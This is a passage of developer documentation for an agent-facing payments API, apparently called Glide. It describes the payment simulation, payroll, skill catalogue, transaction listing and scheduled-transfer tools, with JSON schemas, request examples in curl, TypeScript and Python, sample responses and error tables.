| -------- | ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Missing required field, chain not in enum, or `idempotency_key` too short | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Amount exceeds per-tx / daily / lifetime cap; counterparty not on allowlist; chain blocked; MCC blocked; geo blocked; sanctions screen hit | Run `payments.simulate` first to identify the blocking axis |
| `-32003` | Step-up required | Amount exceeds `step_up_amount_cents` in the policy envelope | Follow the step-up flow below, then retry with `step_up_sigil` |
| `-32004` | Rate limited | Too many initiate calls in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32005` | Vault contention | Another payment is being broadcast from the same vault | Retry after the in-flight broadcast completes |
| `-32603` | Internal error | Server-side error during enqueueing | Retry with the same `idempotency_key`; the call is idempotent |
## Step-up flow
When the amount exceeds the `step_up_amount_cents` threshold in the policy envelope, the server returns a `-32003` error with `data.step_up_url` and `data.reason_id: "step_up_required"`. The payment row is already written in `pending` state — you do not need to resend the full payload.
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// ── Call 1: initiate ──────────────────────────────────────────────────────
let pendingPaymentId: string;
let stepUpUrl: string | undefined;
try {
const result = await client.call('payments.initiate', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 750000, // $7,500 — above the step-up threshold
currency: 'USD',
memo: 'Q2 vendor settlement',
idempotency_key: 'q2-vendor-settlement-001',
});
// amount was under step-up threshold — already accepted
pendingPaymentId = result.pending_payment_id;
} catch (err: any) {
if (err.code === -32003) {
// Step-up required — save the pending_payment_id from error context
// and redirect the user to err.data.step_up_url.
stepUpUrl = err.data.step_up_url;
// The pending_payment_id is encoded in the step_up_url path.
// Your UI should open stepUpUrl in a browser or WebView; after the
// user completes biometric, the Glide app posts the sigil back to
// your redirect URI.
console.log('Redirect user to:', stepUpUrl);
// ... wait for the sigil to arrive at your redirect handler ...
} else {
throw err;
}
}
// ── Call 2: retry with sigil (after user completes biometric) ────────────
const stepUpSigil = 'tok_abc123def456'; // received at your redirect URI
const confirmed = await client.call('payments.initiate', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 750000,
currency: 'USD',
memo: 'Q2 vendor settlement',
idempotency_key: 'q2-vendor-settlement-001', // same key — idempotent
// step_up_sigil is not part of the standard input schema;
// the MCP server reads it from the Authorization header extension.
// Pass it via the client wrapper's sigil option:
});
// result.kind === 'accepted'
console.log('Payment accepted:', confirmed.pending_payment_id);
```
See [Step-up protocol](/docs/agents/step-up) for the full protocol-level reference including sigil expiry, retry semantics, and the redirect URI registration flow.
# payments.simulate
Source: https://glide-9da73dea.mintlify.app/agents/api/payments-simulate
Run the full policy envelope evaluation against a proposed payment. Returns the verdict + every reason without any side effects. Use this to preview a payment b
Run the full policy envelope evaluation against a proposed payment. Returns the verdict + every reason without any side effects. Use this to preview a payment before calling payments.initiate.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `payments.simulate` |
| Category | `read` |
| Required scope | `payments:simulate` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ---------------- |
| Title | Simulate Payment |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string",
"minLength": 1,
"maxLength": 8
},
"mcc": {
"type": "string",
"minLength": 4,
"maxLength": 4
},
"geo": {
"type": "string",
"minLength": 2,
"maxLength": 2
}
},
"required": [
"counterparty",
"amount_cents",
"currency"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"verdict": {
"type": "string",
"enum": [
"allow",
"allow_with_step_up",
"deny"
]
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"reasons": {
"type": "array",
"items": {
"type": "object",
"properties": {
"axis": {
"type": "string"
},
"reason_id": {
"type": "string"
},
"message": {
"type": "string"
}
},
"required": [
"axis",
"reason_id",
"message"
],
"additionalProperties": false
}
},
"simulated_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"verdict",
"policy_version",
"reasons",
"simulated_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:simulate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "payments.simulate",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"amount_cents": 75000,
"currency": "USD",
"mcc": "7372"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('payments.simulate', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 75000,
currency: 'USD',
mcc: '7372',
});
if (result.verdict === 'deny') {
console.error('Payment would be denied:', result.reasons);
} else if (result.verdict === 'allow_with_step_up') {
console.log('Payment requires step-up before initiating');
} else {
console.log('Payment would be allowed — safe to call payments.initiate');
}
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("payments.simulate", {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"amount_cents": 75000,
"currency": "USD",
"mcc": "7372",
})
print(result["verdict"], result["reasons"])
```
## Response examples
Verdict — allowed:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"verdict": "allow",
"policy_version": 3,
"reasons": [],
"simulated_at": "2026-05-04T12:00:00Z"
}
}
```
Verdict — step-up required (amount above threshold, otherwise allowed):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"verdict": "allow_with_step_up",
"policy_version": 3,
"reasons": [
{
"axis": "amount",
"reason_id": "step_up_threshold",
"message": "amount 750000 exceeds step_up_amount_cents 100000"
}
],
"simulated_at": "2026-05-04T12:00:00Z"
}
}
```
Verdict — denied (daily cap would be breached):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"verdict": "deny",
"policy_version": 3,
"reasons": [
{
"axis": "velocity",
"reason_id": "daily_cap_exceeded",
"message": "daily spend cap of 100000 cents would be exceeded; current spend 90000"
}
],
"simulated_at": "2026-05-04T12:00:00Z"
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ------------------------------------------------------------------------------- | ------------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `counterparty.chain` not in enum, `currency` empty, or MCC not exactly 4 digits | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `payments:simulate` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Envelope or velocity-context fetch failed | Retry — simulate has no side effects |
# payroll.run
Source: https://glide-9da73dea.mintlify.app/agents/api/payroll-run
Kick a payroll batch. Requires V2 payroll infra (Sprint 3-4); returns blocked_by_dep if unavailable, matching PLAN.md hero-skill dependency chain.
Kick a payroll batch. Requires V2 payroll infra (Sprint 3-4); returns blocked\_by\_dep if unavailable, matching PLAN.md hero-skill dependency chain.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `payroll.run` |
| Category | `write` |
| Required scope | `payments:initiate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | Run Payroll |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"schedule_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"override_payment_date": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"schedule_id",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"batch_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"recipient_count": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"total_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"status": {
"type": "string",
"enum": [
"queued",
"pending_co_sign",
"broadcasting",
"blocked_by_dep"
]
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"batch_id",
"recipient_count",
"total_cents",
"status",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:initiate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "payroll.run",
"params": {
"schedule_id": "f6a7b8c9-d0e1-2345-fabc-456789012345",
"idempotency_key": "payroll-june-2026-run-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('payroll.run', {
schedule_id: 'f6a7b8c9-d0e1-2345-fabc-456789012345',
idempotency_key: 'payroll-june-2026-run-001',
});
if (result.status === 'blocked_by_dep') {
console.warn('V2 payroll infra not yet available on this environment');
} else {
console.log(`Batch ${result.batch_id} queued for ${result.recipient_count} recipients ($${(result.total_cents / 100).toFixed(2)} total)`);
}
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("payroll.run", {
"schedule_id": "f6a7b8c9-d0e1-2345-fabc-456789012345",
"idempotency_key": "payroll-june-2026-run-001",
})
print(result["status"], result["batch_id"], result["recipient_count"])
```
## Response examples
Success — batch queued pending co-signer:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"batch_id": "a7b8c9d0-e1f2-3456-abcd-567890123456",
"recipient_count": 42,
"total_cents": 18750000,
"status": "pending_co_sign",
"enqueued_at": "2026-05-04T07:00:00Z"
}
}
```
V2 payroll infra not yet available:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32006,
"message": "payroll.run depends on V2 payroll infra (Sprint 3-4); not yet shipped on this environment",
"data": { "reason_id": "payroll_v2_blocked" }
}
}
```
Schedule belongs to a different tenant:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "payroll schedule f6a7b8c9-d0e1-2345-fabc-456789012345 is not owned by the calling tenant",
"data": { "reason_id": "schedule_tenant_mismatch" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | --------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `schedule_id` not a valid UUID; schedule has zero active recipients (`schedule_empty`); schedule not found (`schedule_not_found`) | Verify the `schedule_id` exists and has at least one recipient |
| `-32001` | Unauthorized | Schedule belongs to a different tenant (`schedule_tenant_mismatch`), or missing/expired grant token | Confirm the `schedule_id` was created under the same entity as the calling grant |
| `-32002` | Policy denied | Grant missing `payments:initiate` scope | Issue a new grant with the required scope |
| `-32006` | Vendor unavailable | V2 payroll infra not shipped on this environment (`payroll_v2_blocked`) | Wait for Sprint 3-4 rollout; monitor the changelog |
| `-32004` | Rate limited | Too many batch starts in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32603` | Internal error | Batch enqueue failed | Retry with the same `idempotency_key`; the call is idempotent |
# skills.list
Source: https://glide-9da73dea.mintlify.app/agents/api/skills-list
Catalog of installable skills from glide.co/skills. Each skill advertises its runtime compatibility and whether its upstream dependencies are live in this envir
Catalog of installable skills from glide.co/skills. Each skill advertises its runtime compatibility and whether its upstream dependencies are live in this environment.
## Metadata
| Field | Value |
| ------------------------ | ------------- |
| Name | `skills.list` |
| Category | `read` |
| Required scope | `agents:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | Browse Skills |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"category_filter": {
"default": "all",
"type": "string",
"enum": [
"ap",
"treasury",
"consumer",
"payroll",
"x402",
"all"
]
}
},
"required": [
"category_filter"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"skills": {
"type": "array",
"items": {
"type": "object",
"properties": {
"slug": {
"type": "string"
},
"display_name": {
"type": "string"
},
"tagline": {
"type": "string"
},
"category": {
"type": "string",
"enum": [
"ap",
"treasury",
"consumer",
"payroll",
"x402"
]
},
"runtime_compat": {
"type": "array",
"items": {
"type": "string",
"enum": [
"claude-desktop",
"chatgpt-apps",
"vertex",
"openclaw",
"hermes"
]
}
},
"dependencies_live": {
"type": "boolean"
},
"install_url": {
"type": "string",
"format": "uri"
}
},
"required": [
"slug",
"display_name",
"tagline",
"category",
"runtime_compat",
"dependencies_live",
"install_url"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"skills",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "skills.list",
"params": {
"category_filter": "treasury"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('skills.list', {
category_filter: 'treasury',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("skills.list", {
"category_filter": "treasury",
})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"skills": [
{
"slug": "yield-optimizer",
"display_name": "Yield Optimizer",
"tagline": "Automatically allocates idle USDC to the highest-yield on-chain venue within policy",
"category": "treasury",
"runtime_compat": ["claude-desktop", "vertex"],
"dependencies_live": true,
"install_url": "https://glide.co/skills/yield-optimizer"
},
{
"slug": "ap-batch-pay",
"display_name": "AP Batch Pay",
"tagline": "Pay multiple suppliers in a single authorized batch with on-chain receipts",
"category": "treasury",
"runtime_compat": ["claude-desktop", "chatgpt-apps", "openclaw"],
"dependencies_live": true,
"install_url": "https://glide.co/skills/ap-batch-pay"
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — invalid `category_filter` value:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "category_filter must be one of: ap, treasury, consumer, payroll, x402, all",
"data": {
"reason_id": "invalid_enum_value"
}
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ------------------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `category_filter` is not one of the allowed enum values | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `agents:read` scope | Issue new grant with `agents:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `agents:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# transactions.list
Source: https://glide-9da73dea.mintlify.app/agents/api/transactions-list
Paginated list of this agent's transactions. Scoped to the agent; sibling agents' history never appears. Use cursor for page-through.
Paginated list of this agent's transactions. Scoped to the agent; sibling agents' history never appears. Use cursor for page-through.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `transactions.list` |
| Category | `read` |
| Required scope | `accounts:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ----------------- |
| Title | List Transactions |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"cursor": {
"type": "string"
},
"limit": {
"default": 50,
"type": "integer",
"minimum": 1,
"maximum": 100
},
"since_iso": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"until_iso": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"status_filter": {
"type": "string",
"enum": [
"pending",
"broadcasted",
"settled",
"failed",
"cancelled"
]
}
},
"required": [
"limit"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"transactions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"tool_call_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"action": {
"type": "string"
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string"
},
"counterparty_address": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"counterparty_chain": {
"anyOf": [
{
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
{
"type": "null"
}
]
},
"on_chain_tx": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"status": {
"type": "string",
"enum": [
"pending",
"broadcasted",
"settled",
"failed",
"cancelled"
]
},
"created_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"broadcasted_at": {
"anyOf": [
{
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
{
"type": "null"
}
]
}
},
"required": [
"id",
"tool_call_id",
"action",
"amount_cents",
"currency",
"counterparty_address",
"counterparty_chain",
"on_chain_tx",
"status",
"created_at",
"broadcasted_at"
],
"additionalProperties": false
}
},
"next_cursor": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"transactions",
"next_cursor",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "transactions.list",
"params": {
"limit": 25,
"since_iso": "2026-05-01T00:00:00Z",
"status_filter": "settled"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Fetch the last 25 settled transactions since May 1
const result = await client.call('transactions.list', {
limit: 25,
since_iso: '2026-05-01T00:00:00Z',
status_filter: 'settled',
});
// Page through if there are more
if (result.next_cursor) {
const nextPage = await client.call('transactions.list', {
limit: 25,
cursor: result.next_cursor,
});
}
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("transactions.list", {
"limit": 25,
"since_iso": "2026-05-01T00:00:00Z",
"status_filter": "settled",
})
# Page through if there are more
if result["next_cursor"]:
next_page = client.call("transactions.list", {
"limit": 25,
"cursor": result["next_cursor"],
})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"transactions": [
{
"id": "e5f6a7b8-c9d0-1234-ef01-345678901234",
"tool_call_id": "f6a7b8c9-d0e1-2345-f012-456789012345",
"action": "payments.initiate",
"amount_cents": 150000,
"currency": "USDC",
"counterparty_address": "0x742d35Cc6634C0532925a3b8D4C9B7F3c2e1a4b",
"counterparty_chain": "base",
"on_chain_tx": "0xabc123def456789012345678901234567890123456789012345678901234567890",
"status": "settled",
"created_at": "2026-05-02T10:15:00Z",
"broadcasted_at": "2026-05-02T10:15:12Z"
},
{
"id": "a7b8c9d0-e1f2-3456-0123-567890123456",
"tool_call_id": "b8c9d0e1-f2a3-4567-1234-678901234567",
"action": "payments.initiate",
"amount_cents": 75000,
"currency": "USDC",
"counterparty_address": "HN7cABqLq46Es1jh92dQQisAq662SmxELLLsHHe4YWrH",
"counterparty_chain": "sol",
"on_chain_tx": "5KtXq2hVnP8wCpZr3mYfLqDsE9oAjRkWbN1vGhMuTyXcUi",
"status": "settled",
"created_at": "2026-05-03T14:22:00Z",
"broadcasted_at": "2026-05-03T14:22:04Z"
}
],
"next_cursor": "eyJpZCI6ImE3YjhjOWQwIn0",
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — `limit` out of range:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "limit must be between 1 and 100",
"data": {
"reason_id": "limit_out_of_range"
}
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `limit` out of 1–100 range, invalid `status_filter` enum, or malformed `since_iso`/`until_iso` datetime | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `accounts:read` scope | Issue new grant with `accounts:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `accounts:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# transfer.schedule
Source: https://glide-9da73dea.mintlify.app/agents/api/transfer-schedule
Schedule a future-dated transfer. Envelope is evaluated at schedule time AND again at execute time; policy bumps between the two can still deny the scheduled tr
Schedule a future-dated transfer. Envelope is evaluated at schedule time AND again at execute time; policy bumps between the two can still deny the scheduled transfer.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `transfer.schedule` |
| Category | `write` |
| Required scope | `payments:initiate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ----------------- |
| Title | Schedule Transfer |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
